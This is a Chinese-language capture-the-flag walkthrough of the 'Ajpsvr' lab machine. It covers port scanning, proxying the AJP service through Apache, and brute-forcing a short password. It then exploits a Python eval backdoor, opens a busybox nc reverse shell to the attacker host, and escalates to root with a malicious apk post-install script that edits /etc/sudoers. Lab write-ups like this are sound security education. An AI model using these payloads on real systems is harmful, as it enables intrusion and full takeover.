Ajpsvr

靶机说明

QQ群:660930334
参考wp复现:https://7r1umphk.github.io/post/nei-bu-_ajpsvr.html

一、主机探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[/miao/maze-sec/ajpsvr]
└─# nmap -sn 192.168.2.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-17 10:51 CST
Nmap scan report for 192.168.2.1
Host is up (0.0014s latency).
MAC Address: 0A:00:27:00:00:0A (Unknown)
Nmap scan report for 192.168.2.2
Host is up (0.0014s latency).
MAC Address: 08:00:27:72:CB:61 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.59
Host is up (0.00037s latency).
MAC Address: 08:00:27:E0:D2:BE (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.22 seconds

靶机IP:192.168.2.59

二、端口扫描

1、全端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[/miao/maze-sec/ajpsvr]
└─# nmap --min-rate 10000 -p- 192.168.2.59
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-17 10:51 CST
Nmap scan report for 192.168.2.59
Host is up (0.00026s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8010/tcp open xmpp
MAC Address: 08:00:27:E0:D2:BE (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 20.25 seconds

开放端口22,80,8010

2、详细信息扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(root㉿kali)-[/miao/maze-sec/ajpsvr]
└─# nmap --min-rate 10000 -sT -sV -sC -O -p22,80,8010 192.168.2.59
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-17 10:52 CST
Nmap scan report for 192.168.2.59
Host is up (0.0077s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9 (protocol 2.0)
| ssh-hostkey:
| 256 fc:b2:88:5d:09:d8:06:40:81:cd:5a:5c:53:79:60:54 (ECDSA)
|_ 256 5b:b9:4d:de:03:f0:ee:72:d3:e3:e9:9d:e8:f1:3f:bd (ED25519)
80/tcp open http nginx
|_http-title: 403 Forbidden
8010/tcp open xmpp?
| fingerprint-strings:
| GenericLines:
|_ ajpy
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8010-TCP:V=7.94SVN%I=7%D=7/17%Time=68786573%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,8,"\x124\0\x04ajpy");
MAC Address: 08:00:27:E0:D2:BE (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.78 seconds

80显示403
8010开放的协议是xmpp

3、UDP端口扫描

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[/miao/maze-sec/ajpsvr]
└─# nmap -sU --top-ports 100 192.168.2.59
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-17 10:53 CST
Nmap scan report for 192.168.2.59
Host is up (0.0013s latency).
All 100 scanned ports on 192.168.2.59 are in ignored states.
Not shown: 54 closed udp ports (port-unreach), 46 open|filtered udp ports (no-response)
MAC Address: 08:00:27:E0:D2:BE (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 50.77 seconds

没有开放的端口

三、WEB渗透

1、80端口

访问80端口,发现无法访问

1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[/miao/maze-sec/ajpsvr]
└─# curl http://192.168.2.59
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿kali)-[/miao/maze-sec/ajpsvr]
└─# gobuster dir -u http://192.168.2.59 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,html,bak,md
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.2.59
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html,bak,md
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 1323360 / 1323366 (100.00%)
===============================================================
Finished
===============================================================

没有任何东西,转8010端口

2、8010端口

访问8010端口,发现无法访问

1
2
3
┌──(root㉿kali)-[/miao/maze-sec/ajpsvr]
└─# curl http://192.168.2.59:8010
curl: (1) Received HTTP/0.9 when not allowed

观察信息收集,发现8010端口可能开放着AJP (Apache JServ Protocol)服务

1
2
3
4
5
6
7
8010/tcp open  xmpp?
| fingerprint-strings:
| GenericLines:
|_ ajpy
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8010-TCP:V=7.94SVN%I=7%D=7/17%Time=68786573%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,8,"\x124\0\x04ajpy");

AJP服务

什么是 AJP?

  • AJP服务是指基于Apache JServ Protocol(AJP)协议的应用服务,主要用于Web服务器与Servlet容器(如Tomcat)之间的高效通信。
  • AJP是一种定向包协议,通过二进制格式传输数据(而非HTTP的纯文本),旨在提升Web服务器与应用服务器间的通信效率。它允许Web服务器(如Apache HTTP Server)将请求转发给后端的Servlet容器处理,常用于负载均衡或反向代理场景。`

代理配置步骤:

  1. 启用Apache的相关代理模块
    1
    2
    3
    4
    sudo apt-get install apache2
    sudo a2enmod proxy
    sudo a2enmod proxy_http
    sudo a2enmod proxy_ajp
  2. 创建一个新的 Apache 站点配置文件 /etc/apache2/sites-available/ajp-proxy.conf
    1
    2
    3
    4
    5
    Listen 8000
    <VirtualHost *:8000>
    ProxyPass / ajp://192.168.2.59:8010/
    ProxyPassReverse / ajp://192.168.2.59:8010/
    </VirtualHost>
  3. 启用该站点并重启 Apache 服务
    1
    2
    sudo a2ensite ajp-proxy.conf
    sudo systemctl restart apache2

配置完成后,访问我们自己机器的 http://127.0.0.1:8000 (或 http://192.168.2.4:8000) 就相当于在访问目标 192.168.2.59:8010 上的 Web 应用

四、漏洞利用与初始访问

代理设置后,再次对代理后的地址进行目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[/miao/maze-sec/ajpsvr]
└─# gobuster dir -u http://192.168.2.4:8000 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,html,bak,md
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.2.4:8000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html,bak,md
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login (Status: 200) [Size: 21]
/test (Status: 200) [Size: 12]
/backdoor (Status: 200) [Size: 9]
Progress: 1323360 / 1323366 (100.00%)
===============================================================
Finished
===============================================================

找到三个路径:/login/test/backdoor

1、登录页面爆破

访问/login发现需要一个参数password,并且长度为5

1
2
3
┌──(root㉿kali)-[/miao/maze-sec/ajpsvr]
└─# curl http://192.168.2.4:8000/login?password=test
Password length is 5

提示我们需要爆破一个长度为 5 的密码。然而,直接使用常规字典爆破会遇到问题,因为后端对特殊字符的长度计算方式可能与我们预想的不同。正确的做法是对字典中的每一个密码进行 URL 编码。

  1. rockyou.txt 中筛选出所有长度为 5 的密码
    1
    2
    ┌──(root㉿kali)-[/miao/maze-sec/ajpsvr]
    └─# grep -x '^.\{5\}$' /usr/share/wordlists/rockyou.txt > 5z.txt
  2. 使用 Python 对筛选后的字典进行 URL 编码
    1
    2
    ┌──(root㉿kali)-[/miao/maze-sec/ajpsvr]
    └─# python3 -c 'import sys, urllib.parse; [print(urllib.parse.quote(line.strip())) for line in sys.stdin]' < 5z.txt > 5z_u.txt
  3. 使用 ffuf 和编码后的字典进行爆破,并过滤掉返回内容为空的响应 (--fs 0)
    1
    2
    3
    4
    5
    ┌──(root㉿kali)-[/miao/maze-sec/ajpsvr]
    └─# ffuf -u "http://192.168.2.4:8000/login?password=FUZZ" -w 5z_u.txt --fs 0
    .....
    %21%40%23%24%25 [Status: 200, Size: 25, Words: 1, Lines: 1, Duration: 3ms]
    .....
  4. 找到一个有效密码%21%40%23%24%25,解码后为!@#$%

2、后门与远程代码执行

用找到的密码访问登录页面,返回新的路径

1
2
3
┌──(root㉿kali)-[/miao/maze-sec/ajpsvr]
└─# curl http://192.168.2.4:8000/login?password=%21%40%23%24%25
/backdoooooooooooooooooor

访问路径/backdoooooooooooooooooor,并尝试传入cmd参数执行命令

1
2
3
┌──(root㉿kali)-[/miao/maze-sec/ajpsvr]
└─# curl http://192.168.2.4:8000/backdoooooooooooooooooor?cmd=id
<built-in function id>

返回结果 <built-in function id> 表明后端很可能使用了 Python 的 eval() 或类似函数来执行代码,并且没有导入 os 模块。为了执行系统命令,我们需要先导入 os 模块。

1
2
3
┌──(root㉿kali)-[/miao/maze-sec/ajpsvr]
└─# curl 'http://192.168.2.4:8000/backdoooooooooooooooooor?cmd=__import__("os").popen("id").read()'
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)

成功执行

3、反弹shell

通过 URL 发送反弹 Shell 的 payload(注意 + 在 URL 中会被视为空格,这里是 busybox 多功能二进制文件的用法)

1
2
┌──(root㉿kali)-[/miao/maze-sec/ajpsvr]
└─# curl 'http://192.168.2.4:8000/backdoooooooooooooooooor?cmd=__import__("os").popen("busybox+nc+192.168.2.4+4444+-e+/bin/bash").read()'

成功获取到shell

1
2
3
4
5
6
┌──(root㉿kali)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.4] from (UNKNOWN) [192.168.2.59] 44001
id
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)

4、稳定shell

1
2
3
4
5
6
7
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 24 columns 80

USER FLAG
welcome用户的/home目录下,找到FLAG

1
2
localhost:~$ cat user.txt 
flag{5a80870310e5a3bc10c00ef6d20a3cac}

五、权限提升

1、提权至superuser

在枚举系统时,发现一个只监听在本地 127.0.0.1:5000 的可疑服务

1
2
3
4
5
6
7
8
9
10
localhost:~$ netstat -lntup
netstat: showing only processes with your user ID
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:8010 0.0.0.0:* LISTEN 2850/python3
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 :::22 :::* LISTEN -
tcp 0 0 :::80 :::* LISTEN -

访问5000端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
localhost:~$ busybox nc 127.0.0.1 5000
Welcome to SignatureChain CTF over TCP!
Type 'view', 'submit', 'hint', or 'exit'
> view
[
{
"index": 1,
"sender": "system",
"recipient": "alice",
"amount": 100,
"signature": "14ed219616014b683ae66d1ec2e098c84ff09695b33fff0a7652505e260be0aa",
"note": "1"
},
{
"index": 2,
"sender": "alice",
"recipient": "bob",
"amount": 50,
"signature": "08188ce485e280ba7d8c614a776a478d75ac2e985a535d1d126117ceb59ac952",
"note": "2"
}
]
> hint
[Hint 1] Use 'view' to inspect part of the blockchain.
[Hint 2] The signature is just sha256(sender->recipient:amount).
[Hint 3] Try forging a valid signature with this knowledge.
[Hint 4] What if admin sent you 999 coins?
  1. 使用 view 查看区块链的一部分
  2. 签名就是 sha256(sender->recipient:amount)
  3. 试着用这些知识伪造一个有效的签名
  4. 如果管理员给你发送了 999 枚硬币呢?

/opt/server/server.py中找到代码的硬编码

1
2
3
4
5
6
7
8
localhost:/opt/server$ cat server.py 
import socket
import threading
import json
import hashlib

FLAG = "flag{superuser/f124cf868d5e3fa5a7de39f80a2f9a0e}"
.......

代码里面FLAG = "flag{superuser/f124cf868d5e3fa5a7de39f80a2f9a0e}",猜测用户superuser的密码为f124cf868d5e3fa5a7de39f80a2f9a0e

切换用户成功

1
2
3
4
localhost:/opt/server$ su superuser
Password:
/opt/server $ id
uid=1001(superuser) gid=1001(superuser) groups=300(abuild),1001(superuser)

2、提权至root

检查sudo权限

1
2
3
/home $ sudo -l
User superuser may run the following commands on localhost:
(ALL) NOPASSWD: /sbin/apk

我们可以无需密码以 root 权限运行 apk 命令。apk 是 Alpine Linux 的包管理器。我们可以创建一个包含恶意安装后脚本的自定义 .apk 包,然后用 sudo apk 来安装它。该脚本将以 root 权限执行。

提权步骤:

  1. 创建恶意包工作目录和文件
    • APKBUILD:定义包名、版本等元信息。
    • pwn.post-install:安装后要执行的脚本。我们可以在这里写入提权命令。
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      # 创建工作目录
      mkdir /tmp/malicious-pkg
      cd /tmp/malicious-pkg

      cat << 'EOF' > APKBUILD
      pkgname=pwn
      pkgver=1.0.0
      pkgrel=0
      pkgdesc="pwn"
      arch="noarch"
      license="GPL"
      install="pwn.post-install"
      package() {
      mkdir -p "$pkgdir"
      }
      EOF

      # 写入恶意安装后脚本 (例如:给予 superuser 完全的 sudo 权限)
      cat << 'EOF' > pwn.post-install
      #!/bin/bash
      echo 'superuser ALL=(ALL:ALL) NOPASSWD: ALL' >> /etc/sudoers
      EOF

2.生成签名密钥并构建包

  • abuild 工具需要签名密钥来构建包。
    1
    2
    3
    4
    5
    # 生成密钥对
    abuild-keygen -a
    # 构建包
    abuild checksum
    abuild -r

3.安装恶意包并提权

  • 使用 sudo apk add 并加上 --allow-untrusted 选项来安装我们自己构建的未签名包。
    1
    sudo apk add --allow-untrusted /home/superuser/packages/tmp/x86_64/pwn-1.0.0-r0.apk 
    安装过程中,pwn.post-install 脚本会被 root 执行,superuser 用户现在拥有了无密码执行任何 sudo 命令的权限。
    1
    2
    3
    4
    localhost:/tmp/malicious-pkg$ sudo -l
    User superuser may run the following commands on localhost:
    (ALL) NOPASSWD: /sbin/apk
    (ALL : ALL) NOPASSWD: ALL

4.获取ROOT shell

1
2
3
localhost:/tmp/malicious-pkg$ sudo su
/tmp/malicious-pkg # id
uid=0(root) gid=0(root) groups=0(root),...

ROOT FLAG

1
2
/tmp/malicious-pkg # cat /root/root.txt
flag{bd941f8fb8a7b5b1c34bd71a349d6d04}

【总结】

1、AJP服务

什么是 AJP?

  • AJP服务是指基于Apache JServ Protocol(AJP)协议的应用服务,主要用于Web服务器与Servlet容器(如Tomcat)之间的高效通信。
  • AJP是一种定向包协议,通过二进制格式传输数据(而非HTTP的纯文本),旨在提升Web服务器与应用服务器间的通信效率。它允许Web服务器(如Apache HTTP Server)将请求转发给后端的Servlet容器处理,常用于负载均衡或反向代理场景。`

代理配置步骤:

  1. 启用Apache的相关代理模块
    1
    2
    3
    4
    sudo apt-get install apache2
    sudo a2enmod proxy
    sudo a2enmod proxy_http
    sudo a2enmod proxy_ajp
  2. 创建一个新的 Apache 站点配置文件 /etc/apache2/sites-available/ajp-proxy.conf
    1
    2
    3
    4
    5
    Listen 8000
    <VirtualHost *:8000>
    ProxyPass / ajp://192.168.2.59:8010/
    ProxyPassReverse / ajp://192.168.2.59:8010/
    </VirtualHost>
  3. 启用该站点并重启 Apache 服务
    1
    2
    sudo a2ensite ajp-proxy.conf
    sudo systemctl restart apache2

配置完成后,访问我们自己机器的 http://127.0.0.1:8000 (或 http://192.168.2.4:8000) 就相当于在访问目标 192.168.2.59:8010 上的 Web 应用

2、提权-apk

apk 是 Alpine Linux 的包管理器。我们可以创建一个包含恶意安装后脚本的自定义 .apk 包,然后用 sudo apk 来安装它。该脚本将以 root 权限执行。


Ajpsvr
http://miao-sec.github.io/Maze-sec/Ajpsvr/
作者
Miao
发布于
2025年7月21日
许可协议
BY-MIAO